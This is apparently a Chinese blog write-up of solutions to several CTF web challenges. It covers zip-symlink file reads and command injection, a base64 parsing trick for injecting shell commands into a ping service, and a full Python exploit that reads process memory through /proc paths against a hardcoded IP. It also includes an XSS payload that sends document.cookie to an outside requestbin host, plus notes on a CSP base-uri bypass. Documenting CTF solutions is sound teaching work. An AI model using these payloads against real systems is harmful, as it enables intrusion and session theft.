前言
web五题出了四题,大体难度适中,最后一道xss坐一天牢也没出,尽力了
online_unzipper
该题很快实现任意文件读取之后拿到key
打unzip软链接实现任意读
读/proc/1/environ
key=#mu0cw9F#7bBCoF!
再之后可以控制zip_path打命令注入
拿到key之后可以伪造admin,可以实现
1 2 3 4 5 6 7 8 9 10 11 12 13
| if role == "admin": dirname = request.form.get("dirname") or str(uuid.uuid4()) else: dirname = str(uuid.uuid4())
target_dir = os.path.join(UPLOAD_FOLDER, dirname) os.makedirs(target_dir, exist_ok=True)
zip_path = os.path.join(target_dir, "upload.zip") file.save(zip_path)
try: os.system(f"unzip -o {zip_path} -d {target_dir}")
|
可以打命令注入
1
| ;`echo $(cat /flag-ChdT5OSKiNAjAgl4lI7m3EwRcfPuRGFR.txt) > /app/111`
|
然后软链接读
ping
看看源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
| import base64 import subprocess import re import ipaddress import flask
def run_ping(ip_base64): try: decoded_ip = base64.b64decode(ip_base64).decode('utf-8') if not re.match(r'^\d+\.\d+\.\d+\.\d+$', decoded_ip): return False if decoded_ip.count('.') != 3: return False if not all(0 <= int(part) < 256 for part in decoded_ip.split('.')): return False if not ipaddress.ip_address(decoded_ip): return False if len(decoded_ip) > 15: return False if not re.match(r'^[A-Za-z0-9+/=]+$', ip_base64): return False except Exception as e: return False command = f"""echo "ping -c 1 $(echo '{ip_base64}' | base64 -d)" | sh"""
try: process = subprocess.run( command, shell=True, check=True, capture_output=True, text=True ) return process.stdout except Exception as e: return False
app = flask.Flask(__name__)
@app.route('/ping', methods=['POST']) def ping(): data = flask.request.json ip_base64 = data.get('ip_base64') if not ip_base64: return flask.jsonify({'error': 'no ip'}), 400
result = run_ping(ip_base64) if result: return flask.jsonify({'success': True, 'output': result}), 200 else: return flask.jsonify({'success': False}), 400
@app.route('/') def index(): return flask.render_template('index.html')
app.run(host='0.0.0.0', port=5000)
|
这里利用的是二者的解析差异
1 2
| base64.b64decode到=解码就停止了 当使用 base64 -d 解码时,解码器会正确地处理这些填充符 =,遇到它们不会报错或停止,而是将其作为正常编码的一部分进行解析,完成解码后输出最终结果
|
最终就是
127.0.0.11->MTI3LjAuMC4xMQ==
cat /flag->O2NhdCAvZmxhZw==
合二为一
1
| MTI3LjAuMC4xMQ==O2NhdCAvZmxhZw==即可
|


flag{bAse64_15_DIffER3N7_IN_LInUX_anD_pytH0N_iFrJf}
Peek a Fork
分为两步,一个实现任意文件读取,另一个实现内存读flag
实现任意读
看源码,发现黑名单
1
| FORBIDDEN = [b'flag', b'proc', b'<', b'>', b'^', b"'", b'"', b'..', b'./']
|
审码的时候发现这里有
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| path = request_data.split(b' ')[1] pattern = rb'\?offset=(\d+)&length=(\d+)'
offset = 0 length = -1
match = re.search(pattern, path)
if match: offset = int(match.group(1).decode()) length = int(match.group(2).decode()) clean_path = re.sub(pattern, b'', path) filename = clean_path.strip(b'/').decode() else: filename = path.strip(b'/').decode()
|
即,匹配到?offset=(\d+)&length=(\d+)
就会把这个删掉
本地测了一下能读flag.txt
/f?offset=0&length=100lag.txt
如何实现跨目录呢?我们就插多个
1
| /.?offset=0&length=100.?offset=0&length=100/pro?offset=0&length=100c/self/environ
|
成功读取
从内存中读flag
比较把flag.txt删了,把flag存进内存里
我们如何利用呢?
源码中还有一个log
我们知道,子进程继承父进程的内存映射,包括包含flag的mmap
即利用间隙填充Log,那道含有flag的内存
关键看下面这个脚本
脚本如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138
| import socket import re
def exploit(): target_ip = '60.205.163.215' target_port = 14831 print("[1] 创建长时间运行的子进程...") s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s1.connect((target_ip, target_port)) long_request = b"GET /?log=1&factor=10000000000000 HTTP/1.1\r\nHost: localhost\r\n\r\n" s1.sendall(long_request) import time time.sleep(2) print("[2] 获取进程状态...") s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s2.connect((target_ip, target_port)) status_request = b"GET /.?offset=0&length=500.?offset=0&length=500/pro?offset=0&length=500c/self/status HTTP/1.1\r\nHost: localhost\r\n\r\n" s2.sendall(status_request) status_response = b"" while True: data = s2.recv(4096) if not data: break status_response += data s2.close() status_text = status_response.decode('utf-8', errors='ignore') print("Status response:", status_text) pid_match = re.search(r"Pid:\s*(\d+)", status_text) if not pid_match: print("未获取到PID") return pid = int(pid_match.group(1))+1 pid=str(pid) print(f"当前子进程PID:{pid}") s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s1.connect((target_ip, target_port)) long_request = b"GET /?log=1&factor=10000000000000 HTTP/1.1\r\nHost: localhost\r\n\r\n" s1.sendall(long_request) print("[3] 获取内存映射...") s3 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s3.connect((target_ip, target_port)) maps_request = b"GET /.?offset=0&length=50000.?offset=0&length=500/pro?offset=0&length=500c/"+pid.encode('utf-8')+b"/maps HTTP/1.1\r\nHost: localhost\r\n\r\n" print(maps_request) s3.sendall(maps_request) maps_response = b"" while True: data = s3.recv(4096) if not data: break maps_response += data s3.close() maps_text = maps_response.decode('utf-8', errors='ignore') print("Maps response:", maps_text) mem_pattern = re.compile(r"([0-9a-f]+)-([0-9a-f]+)\s+rw-s", re.MULTILINE) matches = mem_pattern.findall(maps_text) if not matches: print("未找到匿名内存区域,尝试其他模式...") mem_pattern2 = re.compile(r"([0-9a-f]+)-([0-9a-f]+)\s+rw-p", re.MULTILINE) matches = mem_pattern2.findall(maps_text) if not matches: print("未找到任何内存区域") return start_hex, end_hex = matches[0] start_offset = int(start_hex, 16) end_offset = int(end_hex, 16) read_length = min(100, end_offset - start_offset) start_offset=(str(start_offset)).encode('utf-8') read_length=(str(read_length)).encode('utf-8')
print(f"找到内存区域:{start_hex}-{end_hex},读取偏移:{start_offset},长度:{read_length}") s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s1.connect((target_ip, target_port)) long_request = b"GET /?log=1&factor=10000000000000 HTTP/1.1\r\nHost: localhost\r\n\r\n" s1.sendall(long_request) print("[4] 读取内存内容...") s4 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s4.connect((target_ip, target_port)) mem_request = b"GET /.?offset="+start_offset+b"&length="+read_length+b".?offset=0&length=500/pro?offset=0&length=500c/"+pid.encode('utf-8')+b"/mem HTTP/1.1\r\nHost: localhost\r\n\r\n" s4.sendall(mem_request) mem_response = b"" while True: data = s4.recv(4096) if not data: break mem_response += data s4.close() mem_text = mem_response.decode('utf-8', errors='ignore') print("内存内容:", repr(mem_text)) flag_match = re.search(r"flag\{[^}]+\}", mem_text) if flag_match: print(f"🎉 成功获取flag:{flag_match.group()}") else: print("未找到flag,尝试其他偏移...")
if __name__ == "__main__": exploit()
|
即,先读取/proc/self/status,获取pid,再读取/proc/[pid]/maps,获取flag内存映射,最后读取/proc/[pid]/mem,前者获得偏移,即可获取flag
最后也是拿到flag

flag{7c54a0ae-4d0b-4aba-87ca-770fb076d625}
Unfinished
缓存投毒+xss
看nginx配置文件可以发现,被禁了/api/bio/<username>
我们换成1.js这种文件名就行了
即注册进去,改个bio(注意只有第一次生效)
然后/api/bio/1.js直接可以xss
而且缓存投毒,也绕过了鉴权
即这样也绕过了bot的限制,毕竟它的session是admin,一般来讲读不了其他用户的bio
外带即可

1 2
| <script>fetch("http://requestbin.cn:80/13ddlbv1?flag="+document.cookie);</script> flag{yOU_F1n15HeD_Th3_unFInisH3D_cHalLen93_Jynh5}
|
safenotes
分析
赛中不太会,对于xss的理解一直不太够,其实想来题目糅合的东西不多,主要是CSP的baseurl绕过,我们简单复现一下
该题可以用编码绕过/preview
1
| \u003cscript\u003ealert(1)\u003c/scirpt\u003e
|
本地没csp试了可以打xss
如何绕过CSP呢?
关注一下baseurl实现
当服务器CSP script-src采用了nonce时,如果只设置了default-src没有额外设置base-uri,就可以使用<base>
标签使当前页面上下文为自己的vps,如果页面中的合法script标签采用了相对路径,那么最终加载的js就是针对base标签中指定url的相对路径
1 2 3
| <meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'nonce-test'"> <base href="//vps_ip/"> <script nonce='test' src="2.js"></script>
|
当出现相对路径的时候无论是文件还是路由,我们都可以在可行的时候利用这个方法,实现绕过
比如,题目当前有跳转/preview
我们设置当前的baseurl,然后bot访问时会自动跳转
即,现在只要在vps上开个服务将即可
我以为/prview会自动到vps上执行任意js代码,实际发现并无任何交互,这里应该是xss是在innerHTML上,不影响其上的<scipt> src="/preview"
就不太懂了,网上能找到的WP这一步直接跨过去了,就不太懂了
到此为止吧,题目都很简单,这道没出是自己太菜了。